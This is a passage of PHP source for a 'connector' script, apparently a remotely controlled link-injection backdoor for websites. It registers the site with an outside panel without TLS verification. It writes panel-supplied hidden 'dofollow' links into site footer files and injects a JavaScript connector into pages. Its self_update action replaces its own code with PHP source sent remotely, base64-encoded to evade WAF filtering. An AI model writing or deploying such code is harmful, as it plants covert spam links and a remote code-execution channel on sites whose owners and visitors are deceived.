==================== OTOMATİK BAĞLANTI ==================== function auto_connect($force = false) { $config = get_config(); $panel_url = defined('PANEL_API_URL') ? PANEL_API_URL : ''; if (empty($panel_url) || strpos($panel_url, '{{') !== false) { return ['error' => 'Panel URL yapilandirilmamis']; } // Heartbeat panele kayitli site_key ile esleşmeli - bu yuzden once // dosyadaki/domain tabanli anahtar degil, baglantiyi panele baglayan // gomulu UNIVERSAL_SITE_KEY kullanilir (panel bunu DB'de aratir). $universal = defined('UNIVERSAL_SITE_KEY') ? trim((string)UNIVERSAL_SITE_KEY) : ''; if (!empty($universal) && strpos($universal, '{{') === false) { $site_key = $universal; } else { $site_key = get_stored_key(); } if (empty($site_key)) return ['error' => 'Site key bulunamadi']; // A re-uploaded file (new mtime), a different key or panel URL must re-register; // otherwise a stale .rs_config left over from a deleted panel record blocks reconnection for 24h. $fingerprint = md5((string)@filemtime(__FILE__) . '|' . $site_key . '|' . $panel_url); if (!$force && !empty($config['connected']) && !empty($config['connected_at']) && ((isset($config['connected_fp']) ? $config['connected_fp'] : '')) === $fingerprint && time() - $config['connected_at'] < 86400) { return ['already_connected' => true]; } $site_info = detect_site_info(); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); $script = (isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : ''); $connector_url = $protocol . '://' . $host . $script; $data = [ 'action' => 'connector_heartbeat', 'site_key' => $site_key, 'connector_url' => $connector_url, 'site_info' => $site_info, 'timestamp' => time() ]; $heartbeat_url = rtrim($panel_url, '/'); if (substr($heartbeat_url, -4) === '/api') { $heartbeat_url .= '/connector/heartbeat'; } else { $heartbeat_url .= '/api/connector/heartbeat'; } $result = send_to_panel($heartbeat_url, $data); if (!empty($result['success'])) { $config['connected'] = true; $config['connected_at'] = time(); $config['connected_fp'] = $fingerprint; $config['panel_url'] = $panel_url; } else { $config['connected'] = false; unset($config['connected_at'], $config['connected_fp']); } save_config($config); return $result; } /** * Tek bir POST denemesi. Donus: [sonuc dizisi, panelden gecerli JSON geldi mi]. * Ham cevap JSON degilse (CDN/WAF sayfasi, 5xx vb.) hata dizisine http_code, * sunucu adi ve govdenin kisa bir ozeti eklenir; boylece "Gecersiz yanit"in * kaynagi (orn. Cloudflare 520) ping cevabindan dogrudan okunabilir. */ function panel_http_post($url, $json) { $response = false; $headers = []; if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => [ 'Content-Type: application/json', 'Content-Length: ' . strlen($json), 'User-Agent: ' . RS_USER_AGENT, 'Connection: close' ], 'content' => $json, 'timeout' => 10, 'ignore_errors' => true ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false] ]); $response = @file_get_contents($url, false, $context); if (isset($http_response_header) && is_array($http_response_header)) { $headers = $http_response_header; } } // allow_url_fopen kapaliysa ya da baglanti kurulamadiysa cURL ile bir kez daha dene. if ($response === false && function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $json, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_TIMEOUT => 10, CURLOPT_CONNECTTIMEOUT => 6, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => RS_USER_AGENT, CURLOPT_HTTPHEADER => ['Content-Type: application/json'] ]); $raw = curl_exec($ch); $hsize = (int)curl_getinfo($ch, CURLINFO_HEADER_SIZE); $curl_error = curl_error($ch); curl_close($ch); if ($raw !== false) { $response = (string)substr($raw, $hsize); $headers = preg_split('/\r?\n/', trim((string)substr($raw, 0, $hsize))); } else { return [['success' => false, 'error' => 'Baglanti hatasi', 'detail' => $curl_error], false]; } } if ($response === false) { return [['success' => false, 'error' => 'Baglanti hatasi'], false]; } $http_code = 0; $server = ''; foreach ($headers as $h) { if (preg_match('#^HTTP/\S+\s+(\d{3})#i', $h, $m)) { $http_code = (int)$m[1]; } elseif (stripos($h, 'server:') === 0) { $server = trim(substr($h, 7)); } } $result = json_decode($response, true); if (is_array($result) && !empty($result)) { $result['http_code'] = $http_code; return [$result, true]; } $snippet = trim(preg_replace('/\s+/', ' ', strip_tags((string)$response))); return [[ 'success' => false, 'error' => 'Gecersiz yanit', 'http_code' => $http_code, 'server' => $server, 'length' => strlen((string)$response), 'snippet' => function_exists('mb_substr') ? mb_substr($snippet, 0, 160) : substr($snippet, 0, 160) ], false]; } function send_to_panel($url, $data) { $json = json_encode($data, JSON_UNESCAPED_UNICODE); // Birincil yol; rewrite/CDN sorunlarina karsi ikinci yol: /api/index.php?bp_path=... $urls = [$url]; if (preg_match('#^(.*)/api/(connector/[a-z_/]+)$#', $url, $m)) { $urls[] = $m[1] . '/api/index.php?bp_path=' . $m[2]; } $last = ['success' => false, 'error' => 'Baglanti hatasi']; foreach ($urls as $u) { // 5xx/CDN hatalari gecici olabilir: ayni yola bir kez daha dene. for ($attempt = 0; $attempt < 2; $attempt++) { list($result, $is_json) = panel_http_post($u, $json); $last = $result; if ($is_json) { // Panelden gelen JSON cevap (basari ya da 403 reddi) kesin sonuctur. return $result; } usleep(250000); } } return $last; } // ==================== ANA İŞLEM ==================== ob_start(); $raw_action = (isset($_GET['action']) ? $_GET['action'] : (isset($_POST['action']) ? $_POST['action'] : 'ping')); $action = normalize_action_name($raw_action); $req = get_request_data(); // Korumalı action'lar $protected_actions = ['add_link', 'bulk_add_links', 'remove_link', 'sync_links', 'get_links', 'info', 'set_output_mode', 'update_panel_url', 'inject_js_connector', 'remove_js_connector']; if (in_array($action, $protected_actions)) { if (!authenticate_request($req)) { respond_auth_fail(); } } switch ($action) { case 'ping': $auto_result = auto_connect(!empty($req['reconnect']) || !empty($_GET['reconnect'])); cleanup_legacy_auto_prepend(find_document_root()); cleanup_broken_js_injections(); $js_inject_result = inject_js_connector(); $pull_result = fetch_remote_links(true); $site_info = detect_site_info(); if (!empty($js_inject_result['injected'])) clear_site_caches(find_document_root(), $site_info['site_type']); $data = [ 'site' => $site_info['site'], 'site_name' => $site_info['site_name'], 'site_type' => $site_info['site_type'], 'language' => $site_info['language'], 'country' => $site_info['country'], 'footer_detected' => $site_info['footer_detected'], 'footer_writable' => $site_info['footer_writable'], 'version' => RS_CONNECTOR_VERSION, 'key_registered' => !empty(get_stored_key()), 'connector_ready' => true, 'auto_connect' => $auto_result, 'js_connector' => $js_inject_result, 'links_pulled' => $pull_result ]; respond(true, $data, 'Connector aktif'); break; case 'register': $new_key = trim((string)((isset($req['site_key']) ? $req['site_key'] : ''))); $setup_token = (isset($req['setup_token']) ? $req['setup_token'] : ''); $stored_key = get_stored_key(); if (empty($new_key)) { respond(false, [], 'site_key gerekli'); } // İlk kayıt (key dosyası yok): setup token zorunlu if (!file_exists(KEY_FILE) || empty(trim(@file_get_contents(KEY_FILE) ?: ''))) { $expected_token = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; if (empty($expected_token) || strpos($expected_token, '{{') !== false) { if (!authenticate_request($req)) { respond(false, [], 'Setup token tanimli degil; kayit icin universal key veya HMAC imzasi gerekli'); } } elseif (empty($setup_token) || !hash_equals((string)$expected_token, (string)$setup_token)) { // Setup token eşleşmedi ama HMAC veya universal key ile auth dene if (!authenticate_request($req)) { respond(false, [], 'Gecersiz setup token'); } } } else { // Mevcut key var: auth gerekli if (!authenticate_request($req)) { respond_auth_fail(); } } save_key($new_key); $js_result = inject_js_connector(); fetch_remote_links(true); $site_info = detect_site_info(); respond(true, [ 'registered' => true, 'site_key' => $new_key, 'site_info' => $site_info, 'js_connector' => $js_result ], 'Site anahtari kaydedildi'); break; case 'get_key': $setup_token = (isset($req['setup_token']) ? $req['setup_token'] : (isset($_GET['setup_token']) ? $_GET['setup_token'] : '')); $expected_token = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; // Setup token kontrolü if (!empty($expected_token) && strpos($expected_token, '{{') === false) { if (empty($setup_token) || $setup_token !== $expected_token) { // Setup token yanlış - HMAC veya key auth da dene if (!authenticate_request($req)) { respond(false, [], 'Gecersiz setup token'); } } } // Mevcut key'i al veya yeni oluştur $current_key = ''; if (file_exists(KEY_FILE)) { $current_key = trim(@file_get_contents(KEY_FILE) ?: ''); } if (empty($current_key)) { // IMPORTANT: Default to a stable, DB-friendly key (varchar(12) compatible), // instead of generating a long random key that may not fit panel DB schemas. $current_key = generate_site_static_key(); save_key($current_key); } $site_info = detect_site_info(); respond(true, [ 'site_key' => $current_key, 'key_type' => 'stored_or_domain_static', 'name' => (isset($site_info['site_name']) ? $site_info['site_name'] : $_SERVER['HTTP_HOST']), 'site_type' => (isset($site_info['site_type']) ? $site_info['site_type'] : 'php'), 'language' => (isset($site_info['language']) ? $site_info['language'] : 'TR'), 'country' => (isset($site_info['country']) ? $site_info['country'] : 'TR')], 'Site anahtari alindi'); break; case 'info': $site_info = detect_site_info(); respond(true, $site_info, 'Site bilgisi'); break; case 'set_output_mode': $mode = strtolower(trim((string)((isset($req['mode']) ? $req['mode'] : (isset($req['link_output_mode']) ? $req['link_output_mode'] : 'hidden'))))); $mode = ($mode === 'visible') ? 'visible' : 'hidden'; $config = get_config(); $config['link_output_mode'] = $mode; $config['updated_at'] = time(); save_config($config); respond(true, ['link_output_mode' => $mode], 'Output mode guncellendi'); break; case 'get_links': if (!authenticate_request($req)) respond_auth_fail(); $links = get_links(); respond(true, ['links' => array_values($links), 'total' => count($links)], 'Linkler'); break; case 'add_link': if (!authenticate_request($req)) respond_auth_fail(); $url = trim((string)((isset($req['url']) ? $req['url'] : ''))); $anchor = trim((string)((isset($req['anchor']) ? $req['anchor'] : ''))); $rel = normalize_rel((isset($req['rel']) ? $req['rel'] : 'dofollow')); if (empty($url) || empty($anchor)) { respond(false, [], 'URL ve anchor gerekli'); } $link_id = 'lnk_' . substr(md5(uniqid(mt_rand(), true)), 0, 12); $links = get_links(); $links[$link_id] = [ 'id' => $link_id, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'created' => time() ]; save_links($links); $result = inject_link($url, $anchor, $link_id, $rel); $injected = (!empty($result['success']) && !empty($result['injected'])); if (!$injected) { unset($links[$link_id]); save_links($links); respond(false, [ 'link_id' => $link_id, 'injected' => false, 'footer_path' => (isset($result['footer_path']) ? $result['footer_path'] : null), 'message' => (isset($result['message']) ? $result['message'] : '')], (isset($result['message']) ? $result['message'] : 'Link enjekte edilemedi')); } $js_result = inject_js_connector(); $site_type_now = detect_site_info()['site_type']; $cleared = clear_site_caches(find_document_root(), $site_type_now); // inject_link() zaten bir self-HTTP dogrulamasi yaptiysa (auto_prepend yolu) sonucu // tekrar kullan; boylece ayni istekte ikinci bir self-request (ve olasi gecikme) olusmaz. $verified = array_key_exists('homepage_verified', $result) ? $result['homepage_verified'] : verify_homepage_contains('<!-- rs:' . substr($link_id, 4, 6) . ' -->'); $msg = (string)((isset($result['message']) ? $result['message'] : 'Link eklendi')); if ($verified === true) $msg .= ' · anasayfada dogrulandi'; elseif ($verified === false) $msg .= ' · anasayfada henuz gorunmuyor (onbellek/CDN?)'; respond(true, [ 'link_id' => $link_id, 'injected' => true, 'footer_path' => (isset($result['footer_path']) ? $result['footer_path'] : null), 'files' => (isset($result['files']) ? $result['files'] : 1), 'details' => (isset($result['details']) ? $result['details'] : []), 'homepage_verified' => $verified, 'cache_cleared' => $cleared, 'message' => $msg, 'js_connector' => $js_result ], $msg); break; case 'bulk_add_links': if (!authenticate_request($req)) respond_auth_fail(); $incoming_links = (isset($req['links']) ? $req['links'] : []); if (is_string($incoming_links)) { $decoded = json_decode($incoming_links, true); if (is_array($decoded)) $incoming_links = $decoded; } if (!is_array($incoming_links) || empty($incoming_links)) { respond(false, [], 'links array gerekli'); } $max_per_request = 1000; $links_to_process = array_slice(array_values($incoming_links), 0, $max_per_request); $stored_links = get_links(); $results = []; $ok_count = 0; $fail_count = 0; foreach ($links_to_process as $row) { if (!is_array($row)) { $fail_count++; continue; } $url = trim((string)((isset($row['url']) ? $row['url'] : ''))); $anchor = trim((string)((isset($row['anchor']) ? $row['anchor'] : ''))); $rel = normalize_rel((isset($row['rel']) ? $row['rel'] : 'dofollow')); if ($url === '' || $anchor === '') { $fail_count++; continue; } $link_id = 'lnk_' . substr(md5(uniqid(mt_rand(), true)), 0, 12); $stored_links[$link_id] = ['id' => $link_id, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'created' => time()]; $inject = inject_link($url, $anchor, $link_id, $rel); if (!empty($inject['success'])) { $ok_count++; $results[] = ['success' => true, 'link_id' => $link_id, 'url' => $url, 'anchor' => $anchor]; } else { unset($stored_links[$link_id]); $fail_count++; $results[] = ['success' => false, 'link_id' => $link_id, 'url' => $url, 'error' => (isset($inject['message']) ? $inject['message'] : 'inject failed')]; } } save_links($stored_links); respond(true, ['total' => count($links_to_process), 'success' => $ok_count, 'failed' => $fail_count, 'items' => $results], 'Toplu link ekleme tamamlandi'); break; case 'remove_link': if (!authenticate_request($req)) respond_auth_fail(); $link_id = trim((string)((isset($req['link_id']) ? $req['link_id'] : ''))); if (empty($link_id)) respond(false, [], 'link_id gerekli'); $links = get_links(); if (isset($links[$link_id])) { unset($links[$link_id]); save_links($links); } $result = remove_link($link_id); if (empty($result['success'])) { respond(false, ['removed' => false, 'message' => (isset($result['message']) ? $result['message'] : '')], (isset($result['message']) ? $result['message'] : 'Link kaldirilamadi')); } respond(true, ['removed' => true, 'message' => (isset($result['message']) ? $result['message'] : '')], 'Link kaldirildi'); break; case 'sync_links': if (!authenticate_request($req)) respond_auth_fail(); $new_links = (isset($req['links']) ? $req['links'] : []); if (!is_array($new_links)) respond(false, [], 'links array olmali'); $current_links = get_links(); $current_ids = array_keys($current_links); $new_ids = array_column($new_links, 'id'); $to_remove = array_diff($current_ids, $new_ids); foreach ($to_remove as $lid) remove_link($lid); $to_add = array_diff($new_ids, $current_ids); foreach ($new_links as $link) { if (in_array($link['id'], $to_add)) { inject_link($link['url'], $link['anchor'], $link['id'], (isset($link['rel']) ? $link['rel'] : 'dofollow')); } } $formatted = []; foreach ($new_links as $link) { $formatted[$link['id']] = $link; } save_links($formatted); respond(true, ['synced' => true, 'added' => count($to_add), 'removed' => count($to_remove), 'total' => count($new_links)], 'Linkler senkronize edildi'); break; case 'output': header('Content-Type: text/html; charset=UTF-8'); $links = get_links(); $html = ''; foreach ($links as $link) { $u = isset($link['url']) ? (string)$link['url'] : ''; $a = isset($link['anchor']) ? (string)$link['anchor'] : ''; if ($u !== '' && $a !== '') { $html .= build_link_html($u, $a, normalize_rel((isset($link['rel']) ? $link['rel'] : 'dofollow'))); } } echo $html; exit; case 'diagnose': if (!authenticate_request($req)) respond_auth_fail(); $base = find_document_root(); $site_info = detect_site_info(); $diag = [ 'php_version' => phpversion(), 'server_software' => (isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown'), 'document_root' => (isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A'), 'script_path' => __FILE__, 'base_detected' => $base, 'file_permissions' => [ 'key_file' => KEY_FILE, 'key_file_exists' => file_exists(KEY_FILE), 'key_file_writable' => is_writable(dirname(KEY_FILE)), 'links_file' => LINKS_FILE, 'links_file_exists' => file_exists(LINKS_FILE), ], 'site_info' => $site_info, 'footer_analysis' => [ 'footer_paths_found' => get_footer_paths($base, $site_info['site_type']), 'writable_footers' => array_filter(get_footer_paths($base, $site_info['site_type']), 'is_writable'), ], 'panel_config' => [ 'panel_url_set' => defined('PANEL_API_URL') && strpos(PANEL_API_URL, '{{') === false, 'site_key_set' => !empty(get_stored_key()), 'setup_token_set' => defined('SETUP_TOKEN') && strpos(SETUP_TOKEN, '{{') === false, ], 'all_valid_keys_count' => count(get_all_valid_keys()), 'stored_key_source' => file_exists(KEY_FILE) ? 'file' : 'domain_based', 'recommendations' => [] ]; if (!$diag['file_permissions']['key_file_writable']) { $diag['recommendations'][] = 'KRITIK: Connector dizini yazilabilir degil.'; } if (empty($diag['footer_analysis']['writable_footers'])) { $diag['recommendations'][] = 'UYARI: Yazilabilir footer dosyasi bulunamadi.'; } respond(true, $diag, 'Sistem diagnostigi tamamlandi'); break; case 'batch_ping': $batch_id = (isset($req['batch_id']) ? $req['batch_id'] : uniqid('b')); respond(true, [ 'batch_id' => $batch_id, 'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'index' => intval((isset($req['current_index']) ? $req['current_index'] : (isset($req['site_index']) ? $req['site_index'] : 0))), 'version' => RS_CONNECTOR_VERSION, 'key_registered' => !empty(get_stored_key()), 'connector_ready' => true, 'timestamp' => time() ], 'Batch ping OK'); break; case 'auth_check': // Strict key-match reporting (do not treat setup_token as key_match in diagnostics). $provided_key = get_provided_site_key($req); $stored_key = get_stored_key(); $domain_key = generate_site_static_key(); $valid_keys = get_all_valid_keys(); $strict_key_match = false; foreach ($valid_keys as $vk) { if (!empty($provided_key) && hash_equals((string)$vk, (string)$provided_key)) { $strict_key_match = true; break; } } // Full auth check can succeed via HMAC/setup token too. $authed = authenticate_request($req); respond(true, [ 'site' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'key_registered' => !empty($stored_key), 'key_match' => $strict_key_match, 'auth_ok' => $authed, 'provided_key_len' => is_string($provided_key) ? strlen($provided_key) : 0, 'domain_key' => $domain_key, 'version' => RS_CONNECTOR_VERSION, 'auth_ready' => true ], 'Auth check OK'); break; case 'inject_js_connector': if (!authenticate_request($req)) respond_auth_fail(); $result = inject_js_connector(); respond(!empty($result['success']), $result, (isset($result['message']) ? $result['message'] : '')); break; case 'remove_js_connector': if (!authenticate_request($req)) respond_auth_fail(); $result = remove_js_connector(); respond(!empty($result['success']), $result, (isset($result['message']) ? $result['message'] : '')); break; case 'update_panel_url': if (!authenticate_request($req)) respond_auth_fail(); $new_url = trim((string)((isset($req['panel_url']) ? $req['panel_url'] : ''))); if (empty($new_url) || !filter_var($new_url, FILTER_VALIDATE_URL)) { respond(false, [], 'Gecerli bir panel_url gerekli'); } $config = get_config(); $config['panel_url'] = $new_url; $config['panel_url_updated_at'] = time(); save_config($config); $self_content = @file_get_contents(__FILE__); if ($self_content && preg_match("/define\('PANEL_API_URL',\s*'([^']*)'\)/", $self_content, $m)) { $old_url = $m[1]; if ($old_url !== $new_url) { $updated = str_replace( "define('PANEL_API_URL', '" . $old_url . "')", "define('PANEL_API_URL', '" . addslashes($new_url) . "')", $self_content ); force_writable(__FILE__); @file_put_contents(__FILE__, $updated); } } respond(true, ['panel_url' => $new_url], 'Panel URL guncellendi'); break; case 'self_update': case 'update_connector': case 'remote_update': if (!authenticate_request($req)) respond_auth_fail(); // Base64 govdesi WAF/mod_security'nin ham PHP'yi reddetmesini onler; varsa tercih edilir. $source = ''; if (isset($req['source_b64']) && is_string($req['source_b64']) && $req['source_b64'] !== '') { $decoded = base64_decode($req['source_b64'], true); if ($decoded !== false) $source = $decoded; } if ($source === '') { $source = (isset($req['source']) ? $req['source'] : (isset($req['new_content']) ? $req['new_content'] : '')); } if (!is_string($source) || strlen($source) < 1000) respond(false, [], 'Gecersiz kaynak kodu'); if (strpos(ltrim($source), '<' . '?php') !== 0) respond(false, [], 'Gecersiz PHP kaynak kodu'); if (strpos($source, 'namespace RSConnector') === false || strpos($source, "case 'self_update'") === false) { respond(false, [], 'Kaynak kod connector imzasi tasimiyor'); } if (function_exists('token_get_all')) { try { token_get_all($source, TOKEN_PARSE); } catch (\Exception $e) { respond(false, [], 'Kaynak kodda sozdizimi hatasi: ' . $e->getMessage()); } } // Backup keeps a .php extension so a web server executes it instead of serving the source (and keys) as text. $backup_path = dirname(__FILE__) . '/.rs_connector_prev.php'; @copy(__FILE__, $backup_path); force_writable(__FILE__); $tmp_path = __FILE__ . '.tmp'; if (@file_put_contents($tmp_path, $source) !== strlen($source)) { @unlink($tmp_path); respond(false, [], 'Gecici dosya yazilamadi'); } if (!@rename($tmp_path, __FILE__)) { @unlink($tmp_path); if (@file_put_contents(__FILE__, $source) !== strlen($source)) { if (file_exists($backup_path)) @copy($backup_path, __FILE__); respond(false, [], 'Dosya yazilamadi'); } } clearstatcache(true, __FILE__); if (function_exists('opcache_invalidate')) @opcache_invalidate(__FILE__, true); $new_version = ''; if (preg_match("/RS_CONNECTOR_VERSION',\s*'([^']+)'/", $source, $vm)) { $new_version = $vm[1]; } respond(true, ['updated' => true, 'backup' => basename($backup_path), 'new_size' => strlen($source), 'version' => $new_version], 'Connector guncellendi'); break; default: respond(false, [], 'Bilinmeyen action: ' . $action); } |